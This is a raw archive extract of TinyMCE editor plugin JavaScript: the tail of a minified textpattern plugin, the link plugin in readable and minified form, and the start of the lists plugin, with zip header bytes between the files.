s.undoManager.add(),s.undoManager.transact(function(){i.deleteData(0,t[0].length),n.innerHTML||n.appendChild(document.createElement("br")),s.selection.setCursorLocation(n),s.execCommand(e.cmd)}),p(function(){f="space"}),!1}))}s.on("selectionchange",function(){f=null}),s.on("keydown",function(e){if((f&&27===e.keyCode||"space"===f&&e.keyCode===d.BACKSPACE)&&(s.undoManager.undo(),e.preventDefault(),e.stopImmediatePropagation()),!d.metaKeyPressed(e))if(e.keyCode===d.ENTER){var t,n,a,r=s.selection.getRng().startContainer,i=g(r),o=l.length;if(i){for(t=i.data;o--;)if(l[o].start){if(0===t.indexOf(l[o].start)){n=l[o];break}}else if(l[o].regExp&&l[o].regExp.test(t)){n=l[o];break}!n||i===r&&u.trim(t)===n.start||s.once("keyup",function(){s.undoManager.add(),s.undoManager.transact(function(){var e;n.format?(s.formatter.apply(n.format,{},i),i.replaceData(0,i.data.length,(e=i.data.slice(n.start.length))?e.replace(/^\s+/,""):"")):n.element&&(a=i.parentNode&&i.parentNode.parentNode)&&a.replaceChild(document.createElement(n.element),i.parentNode)}),p(function(){f="enter"})})}}else e.keyCode===d.SPACEBAR?p(m):47<e.keyCode&&!(91<=e.keyCode&&e.keyCode<=93)&&p(c)},!0)})}(window.tinymce,window.setTimeout);PK�\d[O���]�]link/plugin.jsnu�[���(function () {
var link = (function (domGlobals) {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.util.VK');

    var assumeExternalTargets = function (editorSettings) {
      return typeof editorSettings.link_assume_external_targets === 'boolean' ? editorSettings.link_assume_external_targets : false;
    };
    var hasContextToolbar = function (editorSettings) {
      return typeof editorSettings.link_context_toolbar === 'boolean' ? editorSettings.link_context_toolbar : false;
    };
    var getLinkList = function (editorSettings) {
      return editorSettings.link_list;
    };
    var hasDefaultLinkTarget = function (editorSettings) {
      return typeof editorSettings.default_link_target === 'string';
    };
    var getDefaultLinkTarget = function (editorSettings) {
      return editorSettings.default_link_target;
    };
    var getTargetList = function (editorSettings) {
      return editorSettings.target_list;
    };
    var setTargetList = function (editor, list) {
      editor.settings.target_list = list;
    };
    var shouldShowTargetList = function (editorSettings) {
      return getTargetList(editorSettings) !== false;
    };
    var getRelList = function (editorSettings) {
      return editorSettings.rel_list;
    };
    var hasRelList = function (editorSettings) {
      return getRelList(editorSettings) !== undefined;
    };
    var getLinkClassList = function (editorSettings) {
      return editorSettings.link_class_list;
    };
    var hasLinkClassList = function (editorSettings) {
      return getLinkClassList(editorSettings) !== undefined;
    };
    var shouldShowLinkTitle = function (editorSettings) {
      return editorSettings.link_title !== false;
    };
    var allowUnsafeLinkTarget = function (editorSettings) {
      return typeof editorSettings.allow_unsafe_link_target === 'boolean' ? editorSettings.allow_unsafe_link_target : false;
    };
    var Settings = {
      assumeExternalTargets: assumeExternalTargets,
      hasContextToolbar: hasContextToolbar,
      getLinkList: getLinkList,
      hasDefaultLinkTarget: hasDefaultLinkTarget,
      getDefaultLinkTarget: getDefaultLinkTarget,
      getTargetList: getTargetList,
      setTargetList: setTargetList,
      shouldShowTargetList: shouldShowTargetList,
      getRelList: getRelList,
      hasRelList: hasRelList,
      getLinkClassList: getLinkClassList,
      hasLinkClassList: hasLinkClassList,
      shouldShowLinkTitle: shouldShowLinkTitle,
      allowUnsafeLinkTarget: allowUnsafeLinkTarget
    };

    var global$2 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$3 = tinymce.util.Tools.resolve('tinymce.Env');

    var appendClickRemove = function (link, evt) {
      domGlobals.document.body.appendChild(link);
      link.dispatchEvent(evt);
      domGlobals.document.body.removeChild(link);
    };
    var open = function (url) {
      if (!global$3.ie || global$3.ie > 10) {
        var link = domGlobals.document.createElement('a');
        link.target = '_blank';
        link.href = url;
        link.rel = 'noreferrer noopener';
        var evt = domGlobals.document.createEvent('MouseEvents');
        evt.initMouseEvent('click', true, true, domGlobals.window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
        appendClickRemove(link, evt);
      } else {
        var win = domGlobals.window.open('', '_blank');
        if (win) {
          win.opener = null;
          var doc = win.document;
          doc.open();
          doc.write('<meta http-equiv="refresh" content="0; url=' + global$2.DOM.encode(url) + '">');
          doc.close();
        }
      }
    };
    var OpenUrl = { open: open };

    var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var toggleTargetRules = function (rel, isUnsafe) {
      var rules = ['noopener'];
      var newRel = rel ? rel.split(/\s+/) : [];
      var toString = function (rel) {
        return global$4.trim(rel.sort().join(' '));
      };
      var addTargetRules = function (rel) {
        rel = removeTargetRules(rel);
        return rel.length ? rel.concat(rules) : rules;
      };
      var removeTargetRules = function (rel) {
        return rel.filter(function (val) {
          return global$4.inArray(rules, val) === -1;
        });
      };
      newRel = isUnsafe ? addTargetRules(newRel) : removeTargetRules(newRel);
      return newRel.length ? toString(newRel) : null;
    };
    var trimCaretContainers = function (text) {
      return text.replace(/\uFEFF/g, '');
    };
    var getAnchorElement = function (editor, selectedElm) {
      selectedElm = selectedElm || editor.selection.getNode();
      if (isImageFigure(selectedElm)) {
        return editor.dom.select('a[href]', selectedElm)[0];
      } else {
        return editor.dom.getParent(selectedElm, 'a[href]');
      }
    };
    var getAnchorText = function (selection, anchorElm) {
      var text = anchorElm ? anchorElm.innerText || anchorElm.textContent : selection.getContent({ format: 'text' });
      return trimCaretContainers(text);
    };
    var isLink = function (elm) {
      return elm && elm.nodeName === 'A' && elm.href;
    };
    var hasLinks = function (elements) {
      return global$4.grep(elements, isLink).length > 0;
    };
    var isOnlyTextSelected = function (html) {
      if (/</.test(html) && (!/^<a [^>]+>[^<]+<\/a>$/.test(html) || html.indexOf('href=') === -1)) {
        return false;
      }
      return true;
    };
    var isImageFigure = function (node) {
      return node && node.nodeName === 'FIGURE' && /\bimage\b/i.test(node.className);
    };
    var link = function (editor, attachState) {
      return function (data) {
        editor.undoManager.transact(function () {
          var selectedElm = editor.selection.getNode();
          var anchorElm = getAnchorElement(editor, selectedElm);
          var linkAttrs = {
            href: data.href,
            target: data.target ? data.target : null,
            rel: data.rel ? data.rel : null,
            class: data.class ? data.class : null,
            title: data.title ? data.title : null
          };
          if (!Settings.hasRelList(editor.settings) && Settings.allowUnsafeLinkTarget(editor.settings) === false) {
            linkAttrs.rel = toggleTargetRules(linkAttrs.rel, linkAttrs.target === '_blank');
          }
          if (data.href === attachState.href) {
            attachState.attach();
            attachState = {};
          }
          if (anchorElm) {
            editor.focus();
            if (data.hasOwnProperty('text')) {
              if ('innerText' in anchorElm) {
                anchorElm.innerText = data.text;
              } else {
                anchorElm.textContent = data.text;
              }
            }
            editor.dom.setAttribs(anchorElm, linkAttrs);
            editor.selection.select(anchorElm);
            editor.undoManager.add();
          } else {
            if (isImageFigure(selectedElm)) {
              linkImageFigure(editor, selectedElm, linkAttrs);
            } else if (data.hasOwnProperty('text')) {
              editor.insertContent(editor.dom.createHTML('a', linkAttrs, editor.dom.encode(data.text)));
            } else {
              editor.execCommand('mceInsertLink', false, linkAttrs);
            }
          }
        });
      };
    };
    var unlink = function (editor) {
      return function () {
        editor.undoManager.transact(function () {
          var node = editor.selection.getNode();
          if (isImageFigure(node)) {
            unlinkImageFigure(editor, node);
          } else {
            editor.execCommand('unlink');
          }
        });
      };
    };
    var unlinkImageFigure = function (editor, fig) {
      var a, img;
      img = editor.dom.select('img', fig)[0];
      if (img) {
        a = editor.dom.getParents(img, 'a[href]', fig)[0];
        if (a) {
          a.parentNode.insertBefore(img, a);
          editor.dom.remove(a);
        }
      }
    };
    var linkImageFigure = function (editor, fig, attrs) {
      var a, img;
      img = editor.dom.select('img', fig)[0];
      if (img) {
        a = editor.dom.create('a', attrs);
        img.parentNode.insertBefore(a, img);
        a.appendChild(img);
      }
    };
    var Utils = {
      link: link,
      unlink: unlink,
      isLink: isLink,
      hasLinks: hasLinks,
      isOnlyTextSelected: isOnlyTextSelected,
      getAnchorElement: getAnchorElement,
      getAnchorText: getAnchorText,
      toggleTargetRules: toggleTargetRules
    };

    var global$5 = tinymce.util.Tools.resolve('tinymce.util.Delay');

    var global$6 = tinymce.util.Tools.resolve('tinymce.util.XHR');

    var attachState = {};
    var createLinkList = function (editor, callback) {
      var linkList = Settings.getLinkList(editor.settings);
      if (typeof linkList === 'string') {
        global$6.send({
          url: linkList,
          success: function (text) {
            callback(editor, JSON.parse(text));
          }
        });
      } else if (typeof linkList === 'function') {
        linkList(function (list) {
          callback(editor, list);
        });
      } else {
        callback(editor, linkList);
      }
    };
    var buildListItems = function (inputList, itemCallback, startItems) {
      var appendItems = function (values, output) {
        output = output || [];
        global$4.each(values, function (item) {
          var menuItem = { text: item.text || item.title };
          if (item.menu) {
            menuItem.menu = appendItems(item.menu);
          } else {
            menuItem.value = item.value;
            if (itemCallback) {
              itemCallback(menuItem);
            }
          }
          output.push(menuItem);
        });
        return output;
      };
      return appendItems(inputList, startItems || []);
    };
    var delayedConfirm = function (editor, message, callback) {
      var rng = editor.selection.getRng();
      global$5.setEditorTimeout(editor, function () {
        editor.windowManager.confirm(message, function (state) {
          editor.selection.setRng(rng);
          callback(state);
        });
      });
    };
    var showDialog = function (editor, linkList) {
      var data = {};
      var selection = editor.selection;
      var dom = editor.dom;
      var anchorElm, initialText;
      var win, onlyText, textListCtrl, linkListCtrl, relListCtrl, targetListCtrl, classListCtrl, linkTitleCtrl, value;
      var linkListChangeHandler = function (e) {
        var textCtrl = win.find('#text');
        if (!textCtrl.value() || e.lastControl && textCtrl.value() === e.lastControl.text()) {
          textCtrl.value(e.control.text());
        }
        win.find('#href').value(e.control.value());
      };
      var buildAnchorListControl = function (url) {
        var anchorList = [];
        global$4.each(editor.dom.select('a:not([href])'), function (anchor) {
          var id = anchor.name || anchor.id;
          if (id) {
            anchorList.push({
              text: id,
              value: '#' + id,
              selected: url.indexOf('#' + id) !== -1
            });
          }
        });
        if (anchorList.length) {
          anchorList.unshift({
            text: 'None',
            value: ''
          });
          return {
            name: 'anchor',
            type: 'listbox',
            label: 'Anchors',
            values: anchorList,
            onselect: linkListChangeHandler
          };
        }
      };
      var updateText = function () {
        if (!initialText && onlyText && !data.text) {
          this.parent().parent().find('#text')[0].value(this.value());
        }
      };
      var urlChange = function (e) {
        var meta = e.meta || {};
        if (linkListCtrl) {
          linkListCtrl.value(editor.convertURL(this.value(), 'href'));
        }
        global$4.each(e.meta, function (value, key) {
          var inp = win.find('#' + key);
          if (key === 'text') {
            if (initialText.length === 0) {
              inp.value(value);
              data.text = value;
            }
          } else {
            inp.value(value);
          }
        });
        if (meta.attach) {
          attachState = {
            href: this.value(),
            attach: meta.attach
          };
        }
        if (!meta.text) {
          updateText.call(this);
        }
      };
      var onBeforeCall = function (e) {
        e.meta = win.toJSON();
      };
      onlyText = Utils.isOnlyTextSelected(selection.getContent());
      anchorElm = Utils.getAnchorElement(editor);
      data.text = initialText = Utils.getAnchorText(editor.selection, anchorElm);
      data.href = anchorElm ? dom.getAttrib(anchorElm, 'href') : '';
      if (anchorElm) {
        data.target = dom.getAttrib(anchorElm, 'target');
      } else if (Settings.hasDefaultLinkTarget(editor.settings)) {
        data.target = Settings.getDefaultLinkTarget(editor.settings);
      }
      if (value = dom.getAttrib(anchorElm, 'rel')) {
        data.rel = value;
      }
      if (value = dom.getAttrib(anchorElm, 'class')) {
        data.class = value;
      }
      if (value = dom.getAttrib(anchorElm, 'title')) {
        data.title = value;
      }
      if (onlyText) {
        textListCtrl = {
          name: 'text',
          type: 'textbox',
          size: 40,
          label: 'Text to display',
          onchange: function () {
            data.text = this.value();
          }
        };
      }
      if (linkList) {
        linkListCtrl = {
          type: 'listbox',
          label: 'Link list',
          values: buildListItems(linkList, function (item) {
            item.value = editor.convertURL(item.value || item.url, 'href');
          }, [{
              text: 'None',
              value: ''
            }]),
          onselect: linkListChangeHandler,
          value: editor.convertURL(data.href, 'href'),
          onPostRender: function () {
            linkListCtrl = this;
          }
        };
      }
      if (Settings.shouldShowTargetList(editor.settings)) {
        if (Settings.getTargetList(editor.settings) === undefined) {
          Settings.setTargetList(editor, [
            {
              text: 'None',
              value: ''
            },
            {
              text: 'New window',
              value: '_blank'
            }
          ]);
        }
        targetListCtrl = {
          name: 'target',
          type: 'listbox',
          label: 'Target',
          values: buildListItems(Settings.getTargetList(editor.settings))
        };
      }
      if (Settings.hasRelList(editor.settings)) {
        relListCtrl = {
          name: 'rel',
          type: 'listbox',
          label: 'Rel',
          values: buildListItems(Settings.getRelList(editor.settings), function (item) {
            if (Settings.allowUnsafeLinkTarget(editor.settings) === false) {
              item.value = Utils.toggleTargetRules(item.value, data.target === '_blank');
            }
          })
        };
      }
      if (Settings.hasLinkClassList(editor.settings)) {
        classListCtrl = {
          name: 'class',
          type: 'listbox',
          label: 'Class',
          values: buildListItems(Settings.getLinkClassList(editor.settings), function (item) {
            if (item.value) {
              item.textStyle = function () {
                return editor.formatter.getCssText({
                  inline: 'a',
                  classes: [item.value]
                });
              };
            }
          })
        };
      }
      if (Settings.shouldShowLinkTitle(editor.settings)) {
        linkTitleCtrl = {
          name: 'title',
          type: 'textbox',
          label: 'Title',
          value: data.title
        };
      }
      win = editor.windowManager.open({
        title: 'Insert link',
        data: data,
        body: [
          {
            name: 'href',
            type: 'filepicker',
            filetype: 'file',
            size: 40,
            autofocus: true,
            label: 'Url',
            onchange: urlChange,
            onkeyup: updateText,
            onpaste: updateText,
            onbeforecall: onBeforeCall
          },
          textListCtrl,
          linkTitleCtrl,
          buildAnchorListControl(data.href),
          linkListCtrl,
          relListCtrl,
          targetListCtrl,
          classListCtrl
        ],
        onSubmit: function (e) {
          var assumeExternalTargets = Settings.assumeExternalTargets(editor.settings);
          var insertLink = Utils.link(editor, attachState);
          var removeLink = Utils.unlink(editor);
          var resultData = global$4.extend({}, data, e.data);
          var href = resultData.href;
          if (!href) {
            removeLink();
            return;
          }
          if (!onlyText || resultData.text === initialText) {
            delete resultData.text;
          }
          if (href.indexOf('@') > 0 && href.indexOf('//') === -1 && href.indexOf('mailto:') === -1) {
            delayedConfirm(editor, 'The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?', function (state) {
              if (state) {
                resultData.href = 'mailto:' + href;
              }
              insertLink(resultData);
            });
            return;
          }
          if (assumeExternalTargets === true && !/^\w+:/i.test(href) || assumeExternalTargets === false && /^\s*www[\.|\d\.]/i.test(href)) {
            delayedConfirm(editor, 'The URL you entered seems to be an external link. Do you want to add the required http:// prefix?', function (state) {
              if (state) {
                resultData.href = 'http://' + href;
              }
              insertLink(resultData);
            });
            return;
          }
          insertLink(resultData);
        }
      });
    };
    var open$1 = function (editor) {
      createLinkList(editor, showDialog);
    };
    var Dialog = { open: open$1 };

    var getLink = function (editor, elm) {
      return editor.dom.getParent(elm, 'a[href]');
    };
    var getSelectedLink = function (editor) {
      return getLink(editor, editor.selection.getStart());
    };
    var getHref = function (elm) {
      var href = elm.getAttribute('data-mce-href');
      return href ? href : elm.getAttribute('href');
    };
    var isContextMenuVisible = function (editor) {
      var contextmenu = editor.plugins.contextmenu;
      return contextmenu ? contextmenu.isContextMenuVisible() : false;
    };
    var hasOnlyAltModifier = function (e) {
      return e.altKey === true && e.shiftKey === false && e.ctrlKey === false && e.metaKey === false;
    };
    var gotoLink = function (editor, a) {
      if (a) {
        var href = getHref(a);
        if (/^#/.test(href)) {
          var targetEl = editor.$(href);
          if (targetEl.length) {
            editor.selection.scrollIntoView(targetEl[0], true);
          }
        } else {
          OpenUrl.open(a.href);
        }
      }
    };
    var openDialog = function (editor) {
      return function () {
        Dialog.open(editor);
      };
    };
    var gotoSelectedLink = function (editor) {
      return function () {
        gotoLink(editor, getSelectedLink(editor));
      };
    };
    var leftClickedOnAHref = function (editor) {
      return function (elm) {
        var sel, rng, node;
        if (Settings.hasContextToolbar(editor.settings) && !isContextMenuVisible(editor) && Utils.isLink(elm)) {
          sel = editor.selection;
          rng = sel.getRng();
          node = rng.startContainer;
          if (node.nodeType === 3 && sel.isCollapsed() && rng.startOffset > 0 && rng.startOffset < node.data.length) {
            return true;
          }
        }
        return false;
      };
    };
    var setupGotoLinks = function (editor) {
      editor.on('click', function (e) {
        var link = getLink(editor, e.target);
        if (link && global$1.metaKeyPressed(e)) {
          e.preventDefault();
          gotoLink(editor, link);
        }
      });
      editor.on('keydown', function (e) {
        var link = getSelectedLink(editor);
        if (link && e.keyCode === 13 && hasOnlyAltModifier(e)) {
          e.preventDefault();
          gotoLink(editor, link);
        }
      });
    };
    var toggleActiveState = function (editor) {
      return function () {
        var self = this;
        editor.on('nodechange', function (e) {
          self.active(!editor.readonly && !!Utils.getAnchorElement(editor, e.element));
        });
      };
    };
    var toggleViewLinkState = function (editor) {
      return function () {
        var self = this;
        var toggleVisibility = function (e) {
          if (Utils.hasLinks(e.parents)) {
            self.show();
          } else {
            self.hide();
          }
        };
        if (!Utils.hasLinks(editor.dom.getParents(editor.selection.getStart()))) {
          self.hide();
        }
        editor.on('nodechange', toggleVisibility);
        self.on('remove', function () {
          editor.off('nodechange', toggleVisibility);
        });
      };
    };
    var Actions = {
      openDialog: openDialog,
      gotoSelectedLink: gotoSelectedLink,
      leftClickedOnAHref: leftClickedOnAHref,
      setupGotoLinks: setupGotoLinks,
      toggleActiveState: toggleActiveState,
      toggleViewLinkState: toggleViewLinkState
    };

    var register = function (editor) {
      editor.addCommand('mceLink', Actions.openDialog(editor));
    };
    var Commands = { register: register };

    var setup = function (editor) {
      editor.addShortcut('Meta+K', '', Actions.openDialog(editor));
    };
    var Keyboard = { setup: setup };

    var setupButtons = function (editor) {
      editor.addButton('link', {
        active: false,
        icon: 'link',
        tooltip: 'Insert/edit link',
        onclick: Actions.openDialog(editor),
        onpostrender: Actions.toggleActiveState(editor)
      });
      editor.addButton('unlink', {
        active: false,
        icon: 'unlink',
        tooltip: 'Remove link',
        onclick: Utils.unlink(editor),
        onpostrender: Actions.toggleActiveState(editor)
      });
      if (editor.addContextToolbar) {
        editor.addButton('openlink', {
          icon: 'newtab',
          tooltip: 'Open link',
          onclick: Actions.gotoSelectedLink(editor)
        });
      }
    };
    var setupMenuItems = function (editor) {
      editor.addMenuItem('openlink', {
        text: 'Open link',
        icon: 'newtab',
        onclick: Actions.gotoSelectedLink(editor),
        onPostRender: Actions.toggleViewLinkState(editor),
        prependToContext: true
      });
      editor.addMenuItem('link', {
        icon: 'link',
        text: 'Link',
        shortcut: 'Meta+K',
        onclick: Actions.openDialog(editor),
        stateSelector: 'a[href]',
        context: 'insert',
        prependToContext: true
      });
      editor.addMenuItem('unlink', {
        icon: 'unlink',
        text: 'Remove link',
        onclick: Utils.unlink(editor),
        stateSelector: 'a[href]'
      });
    };
    var setupContextToolbars = function (editor) {
      if (editor.addContextToolbar) {
        editor.addContextToolbar(Actions.leftClickedOnAHref(editor), 'openlink | link unlink');
      }
    };
    var Controls = {
      setupButtons: setupButtons,
      setupMenuItems: setupMenuItems,
      setupContextToolbars: setupContextToolbars
    };

    global.add('link', function (editor) {
      Controls.setupButtons(editor);
      Controls.setupMenuItems(editor);
      Controls.setupContextToolbars(editor);
      Actions.setupGotoLinks(editor);
      Commands.register(editor);
      Keyboard.setup(editor);
    });
    function Plugin () {
    }

    return Plugin;

}(window));
})();
PK�\d[VƺH�"�"link/plugin.min.jsnu�[���!function(l){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=tinymce.util.Tools.resolve("tinymce.util.VK"),e=function(t){return t.target_list},o=function(t){return t.rel_list},i=function(t){return t.link_class_list},p=function(t){return"boolean"==typeof t.link_assume_external_targets&&t.link_assume_external_targets},a=function(t){return"boolean"==typeof t.link_context_toolbar&&t.link_context_toolbar},r=function(t){return t.link_list},k=function(t){return"string"==typeof t.default_link_target},y=function(t){return t.default_link_target},b=e,_=function(t,e){t.settings.target_list=e},w=function(t){return!1!==e(t)},T=o,C=function(t){return o(t)!==undefined},M=i,O=function(t){return i(t)!==undefined},R=function(t){return!1!==t.link_title},N=function(t){return"boolean"==typeof t.allow_unsafe_link_target&&t.allow_unsafe_link_target},u=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),c=tinymce.util.Tools.resolve("tinymce.Env"),s=function(t){if(!c.ie||10<c.ie){var e=l.document.createElement("a");e.target="_blank",e.href=t,e.rel="noreferrer noopener";var n=l.document.createEvent("MouseEvents");n.initMouseEvent("click",!0,!0,l.window,0,0,0,0,0,!1,!1,!1,!1,0,null),r=e,a=n,l.document.body.appendChild(r),r.dispatchEvent(a),l.document.body.removeChild(r)}else{var o=l.window.open("","_blank");if(o){o.opener=null;var i=o.document;i.open(),i.write('<meta http-equiv="refresh" content="0; url='+u.DOM.encode(t)+'">'),i.close()}}var r,a},A=tinymce.util.Tools.resolve("tinymce.util.Tools"),f=function(t,e){var n,o,i=["noopener"],r=t?t.split(/\s+/):[],a=function(t){return t.filter(function(t){return-1===A.inArray(i,t)})};return(r=e?(n=a(n=r)).length?n.concat(i):i:a(r)).length?(o=r,A.trim(o.sort().join(" "))):null},d=function(t,e){return e=e||t.selection.getNode(),v(e)?t.dom.select("a[href]",e)[0]:t.dom.getParent(e,"a[href]")},m=function(t){return t&&"A"===t.nodeName&&t.href},v=function(t){return t&&"FIGURE"===t.nodeName&&/\bimage\b/i.test(t.className)},g=function(t,e){var n,o;(o=t.dom.select("img",e)[0])&&(n=t.dom.getParents(o,"a[href]",e)[0])&&(n.parentNode.insertBefore(o,n),t.dom.remove(n))},h=function(t,e,n){var o,i;(i=t.dom.select("img",e)[0])&&(o=t.dom.create("a",n),i.parentNode.insertBefore(o,i),o.appendChild(i))},L=function(i,r){return function(o){i.undoManager.transact(function(){var t=i.selection.getNode(),e=d(i,t),n={href:o.href,target:o.target?o.target:null,rel:o.rel?o.rel:null,"class":o["class"]?o["class"]:null,title:o.title?o.title:null};C(i.settings)||!1!==N(i.settings)||(n.rel=f(n.rel,"_blank"===n.target)),o.href===r.href&&(r.attach(),r={}),e?(i.focus(),o.hasOwnProperty("text")&&("innerText"in e?e.innerText=o.text:e.textContent=o.text),i.dom.setAttribs(e,n),i.selection.select(e),i.undoManager.add()):v(t)?h(i,t,n):o.hasOwnProperty("text")?i.insertContent(i.dom.createHTML("a",n,i.dom.encode(o.text))):i.execCommand("mceInsertLink",!1,n)})}},P=function(e){return function(){e.undoManager.transact(function(){var t=e.selection.getNode();v(t)?g(e,t):e.execCommand("unlink")})}},x=m,E=function(t){return 0<A.grep(t,m).length},S=function(t){return!(/</.test(t)&&(!/^<a [^>]+>[^<]+<\/a>$/.test(t)||-1===t.indexOf("href=")))},I=d,K=function(t,e){var n=e?e.innerText||e.textContent:t.getContent({format:"text"});return n.replace(/\uFEFF/g,"")},U=f,D=tinymce.util.Tools.resolve("tinymce.util.Delay"),B=tinymce.util.Tools.resolve("tinymce.util.XHR"),F={},q=function(t,o,e){var i=function(t,n){return n=n||[],A.each(t,function(t){var e={text:t.text||t.title};t.menu?e.menu=i(t.menu):(e.value=t.value,o&&o(e)),n.push(e)}),n};return i(t,e||[])},V=function(e,t,n){var o=e.selection.getRng();D.setEditorTimeout(e,function(){e.windowManager.confirm(t,function(t){e.selection.setRng(o),n(t)})})},z=function(a,t){var e,l,o,u,n,i,r,c,s,f,d,m={},v=a.selection,g=a.dom,h=function(t){var e=o.find("#text");(!e.value()||t.lastControl&&e.value()===t.lastControl.text())&&e.value(t.control.text()),o.find("#href").value(t.control.value())},x=function(){l||!u||m.text||this.parent().parent().find("#text")[0].value(this.value())};u=S(v.getContent()),e=I(a),m.text=l=K(a.selection,e),m.href=e?g.getAttrib(e,"href"):"",e?m.target=g.getAttrib(e,"target"):k(a.settings)&&(m.target=y(a.settings)),(d=g.getAttrib(e,"rel"))&&(m.rel=d),(d=g.getAttrib(e,"class"))&&(m["class"]=d),(d=g.getAttrib(e,"title"))&&(m.title=d),u&&(n={name:"text",type:"textbox",size:40,label:"Text to display",onchange:function(){m.text=this.value()}}),t&&(i={type:"listbox",label:"Link list",values:q(t,function(t){t.value=a.convertURL(t.value||t.url,"href")},[{text:"None",value:""}]),onselect:h,value:a.convertURL(m.href,"href"),onPostRender:function(){i=this}}),w(a.settings)&&(b(a.settings)===undefined&&_(a,[{text:"None",value:""},{text:"New window",value:"_blank"}]),c={name:"target",type:"listbox",label:"Target",values:q(b(a.settings))}),C(a.settings)&&(r={name:"rel",type:"listbox",label:"Rel",values:q(T(a.settings),function(t){!1===N(a.settings)&&(t.value=U(t.value,"_blank"===m.target))})}),O(a.settings)&&(s={name:"class",type:"listbox",label:"Class",values:q(M(a.settings),function(t){t.value&&(t.textStyle=function(){return a.formatter.getCssText({inline:"a",classes:[t.value]})})})}),R(a.settings)&&(f={name:"title",type:"textbox",label:"Title",value:m.title}),o=a.windowManager.open({title:"Insert link",data:m,body:[{name:"href",type:"filepicker",filetype:"file",size:40,autofocus:!0,label:"Url",onchange:function(t){var e=t.meta||{};i&&i.value(a.convertURL(this.value(),"href")),A.each(t.meta,function(t,e){var n=o.find("#"+e);"text"===e?0===l.length&&(n.value(t),m.text=t):n.value(t)}),e.attach&&(F={href:this.value(),attach:e.attach}),e.text||x.call(this)},onkeyup:x,onpaste:x,onbeforecall:function(t){t.meta=o.toJSON()}},n,f,function(n){var o=[];if(A.each(a.dom.select("a:not([href])"),function(t){var e=t.name||t.id;e&&o.push({text:e,value:"#"+e,selected:-1!==n.indexOf("#"+e)})}),o.length)return o.unshift({text:"None",value:""}),{name:"anchor",type:"listbox",label:"Anchors",values:o,onselect:h}}(m.href),i,r,c,s],onSubmit:function(t){var e=p(a.settings),n=L(a,F),o=P(a),i=A.extend({},m,t.data),r=i.href;r?(u&&i.text!==l||delete i.text,0<r.indexOf("@")&&-1===r.indexOf("//")&&-1===r.indexOf("mailto:")?V(a,"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",function(t){t&&(i.href="mailto:"+r),n(i)}):!0===e&&!/^\w+:/i.test(r)||!1===e&&/^\s*www[\.|\d\.]/i.test(r)?V(a,"The URL you entered seems to be an external link. Do you want to add the required http:// prefix?",function(t){t&&(i.href="http://"+r),n(i)}):n(i)):o()}})},H=function(t){var e,n,o;n=z,"string"==typeof(o=r((e=t).settings))?B.send({url:o,success:function(t){n(e,JSON.parse(t))}}):"function"==typeof o?o(function(t){n(e,t)}):n(e,o)},J=function(t,e){return t.dom.getParent(e,"a[href]")},$=function(t){return J(t,t.selection.getStart())},j=function(t,e){if(e){var n=(i=e).getAttribute("data-mce-href")||i.getAttribute("href");if(/^#/.test(n)){var o=t.$(n);o.length&&t.selection.scrollIntoView(o[0],!0)}else s(e.href)}var i},G=function(t){return function(){H(t)}},X=function(t){return function(){j(t,$(t))}},Q=function(r){return function(t){var e,n,o,i;return!!(a(r.settings)&&(!(i=r.plugins.contextmenu)||!i.isContextMenuVisible())&&x(t)&&3===(o=(n=(e=r.selection).getRng()).startContainer).nodeType&&e.isCollapsed()&&0<n.startOffset&&n.startOffset<o.data.length)}},W=function(o){o.on("click",function(t){var e=J(o,t.target);e&&n.metaKeyPressed(t)&&(t.preventDefault(),j(o,e))}),o.on("keydown",function(t){var e,n=$(o);n&&13===t.keyCode&&!0===(e=t).altKey&&!1===e.shiftKey&&!1===e.ctrlKey&&!1===e.metaKey&&(t.preventDefault(),j(o,n))})},Y=function(n){return function(){var e=this;n.on("nodechange",function(t){e.active(!n.readonly&&!!I(n,t.element))})}},Z=function(n){return function(){var e=this,t=function(t){E(t.parents)?e.show():e.hide()};E(n.dom.getParents(n.selection.getStart()))||e.hide(),n.on("nodechange",t),e.on("remove",function(){n.off("nodechange",t)})}},tt=function(t){t.addCommand("mceLink",G(t))},et=function(t){t.addShortcut("Meta+K","",G(t))},nt=function(t){t.addButton("link",{active:!1,icon:"link",tooltip:"Insert/edit link",onclick:G(t),onpostrender:Y(t)}),t.addButton("unlink",{active:!1,icon:"unlink",tooltip:"Remove link",onclick:P(t),onpostrender:Y(t)}),t.addContextToolbar&&t.addButton("openlink",{icon:"newtab",tooltip:"Open link",onclick:X(t)})},ot=function(t){t.addMenuItem("openlink",{text:"Open link",icon:"newtab",onclick:X(t),onPostRender:Z(t),prependToContext:!0}),t.addMenuItem("link",{icon:"link",text:"Link",shortcut:"Meta+K",onclick:G(t),stateSelector:"a[href]",context:"insert",prependToContext:!0}),t.addMenuItem("unlink",{icon:"unlink",text:"Remove link",onclick:P(t),stateSelector:"a[href]"})},it=function(t){t.addContextToolbar&&t.addContextToolbar(Q(t),"openlink | link unlink")};t.add("link",function(t){nt(t),ot(t),it(t),W(t),tt(t),et(t)})}(window);PK�\d[,*"lists/plugin.jsnu�[���(function () {
var lists = (function (domGlobals) {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils');

    var global$2 = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker');

    var global$3 = tinymce.util.Tools.resolve('tinymce.util.VK');

    var global$4 = tinymce.util.Tools.resolve('tinymce.dom.BookmarkManager');

    var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var global$6 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var isTextNode = function (node) {
      return node && node.nodeType === 3;
    };
    var isListNode = function (node) {
      return node && /^(OL|UL|DL)$/.test(node.nodeName);
    };
    var isOlUlNode = function (node) {
      return node && /^(OL|UL)$/.test(node.nodeName);
    };
    var isListItemNode = function (node) {
      return node && /^(LI|DT|DD)$/.test(node.nodeName);
    };
    var isDlItemNode = function (node) {
      return node && /^(DT|DD)$/.test(node.nodeName);
    };
    var isTableCellNode = function (node) {
      return node && /^(TH|TD)$/.test(node.nodeName);
    };
    var isBr = function (node) {
